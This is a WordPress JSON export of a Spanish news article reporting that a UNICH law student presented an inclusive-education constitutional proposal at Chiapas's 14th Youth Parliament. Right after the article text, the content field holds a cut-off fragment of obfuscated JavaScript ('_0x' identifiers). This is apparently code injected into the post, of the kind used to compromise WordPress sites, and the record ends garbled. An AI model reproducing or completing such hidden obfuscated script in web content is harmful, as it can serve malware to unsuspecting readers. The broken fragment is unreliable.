{"id":14039,"date":"2024-02-08T00:50:14","date_gmt":"2024-02-08T00:50:14","guid":{"rendered":"https:\/\/reporteciudadanochiapas.com\/?p=14039"},"modified":"2024-02-08T00:50:15","modified_gmt":"2024-02-08T00:50:15","slug":"destaca-estudiante-de-la-unich-en-el-14o-parlamento-juvenil-enoch-cancino-casahonda","status":"publish","type":"post","link":"https:\/\/reporteciudadanochiapas.com\/?p=14039","title":{"rendered":"Destaca estudiante de la UNICH en el 14\u00ba Parlamento Juvenil \u201cEnoch Cancino Casahonda\u201d"},"content":{"rendered":"\n
\"\"<\/figure>\n\n\n\n

\u00d3scar G\u00f3mez\/corresponsal<\/p>\n\n\n\n

07 de febrero del 2024. San Crist\u00f3bal de Las Casas.- La Universidad Intercultural de Chiapas (Unich), felicit\u00f3 a la estudiante de la Unidad Acad\u00e9mica de Yajal\u00f3n, Lucciana Torres L\u00f3pez, estudiante de la Licenciatura en Derecho Intercultural, quien fue seleccionada con el honor de fungir como \u00abDiputada por un d\u00eda\u00bb, as\u00ed como de presentar su propuesta en una sesi\u00f3n celebrada en el H. Congreso del Estado de Chiapas, en el marco de la celebraci\u00f3n del 14\u00b0 Parlamento Juvenil 2024 \u201cEnoch Cancino Casahonda\u201d realizado el pasado 2 de febrero del presente a\u00f1o, en la ciudad de Tuxtla Guti\u00e9rrez. De acuerdo a la convocatoria, los trabajos y propuestas elegidas tendr\u00e1n la oportunidad de ser tomadas en cuenta por las y los Legisladores Chiapanecos, quienes en virtud de su an\u00e1lisis podr\u00e1n convertirlas en ley en beneficio del Estado de Chiapas y sus ciudadanos, siempre respetando la autor\u00eda de las mismas. Lucciana Torres, quien radia en el municipio de Yajal\u00f3n dio a conocer que su propuesta para adicionar el p\u00e1rrafo 9 del articulo del articulo 9 de la constituci\u00f3n del estado Libre y Soberano de Chiapas en Materia de Educaci\u00f3n Inclusiva, el cual busca el mejoramiento de las condiciones sociales dentro de la escuela, aula y entorno para la persona que posee alguna discapacidad, \u201cy recalco en la inclusi\u00f3n adecuada y libre de discriminaci\u00f3n, los sectores beneficiados ser\u00edan las personas con o sin discapacidad libres de gozar el derecho de una educaci\u00f3n de calidad, as\u00ed como las y los docentes, quienes deber\u00e1n ser capacitados correctamente a trav\u00e9s de diversos talleres y cursos para que puedan integrar a cada alumno dentro del aula\u201d. Indic\u00f3 que los actores inmiscuidos en el proceso de ense\u00f1anza y el proceso de aprendizaje pueda ser \u00f3ptimo, propiciando una inclusi\u00f3n a toda la poblaci\u00f3n con necesidades educativas especiales a trav\u00e9s de las instituciones acad\u00e9micas, que forman parte fundamental para la transformaci\u00f3n de la sociedad. \u201cLa siguiente propuesta de decreto por el que se adiciona al p\u00e1rrafo IX del art\u00edculo 9 de la Constituci\u00f3n Pol\u00edtica de Chiapas, mencionara; la educaci\u00f3n inclusiva de calidad. As\u00ed el Estado deber\u00e1 crear un programa de formaci\u00f3n continua para docentes, donde se capaciten en distintos rubros que incluyan la educaci\u00f3n inclusiva de calidad, equitativa, plural y libre de discriminaci\u00f3n\u201d, destall\u00f3. Afirm\u00f3 que estudiar la Licenciatura en Derecho Intercultural, la motiv\u00f3 a desarrollar esta propuesta de leyes, gracias a las asesor\u00edas de sus docentes y de su familia donde algunos tienen problemas de autismo. <\/p>\n\r\n(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return ","protected":false},"excerpt":{"rendered":"

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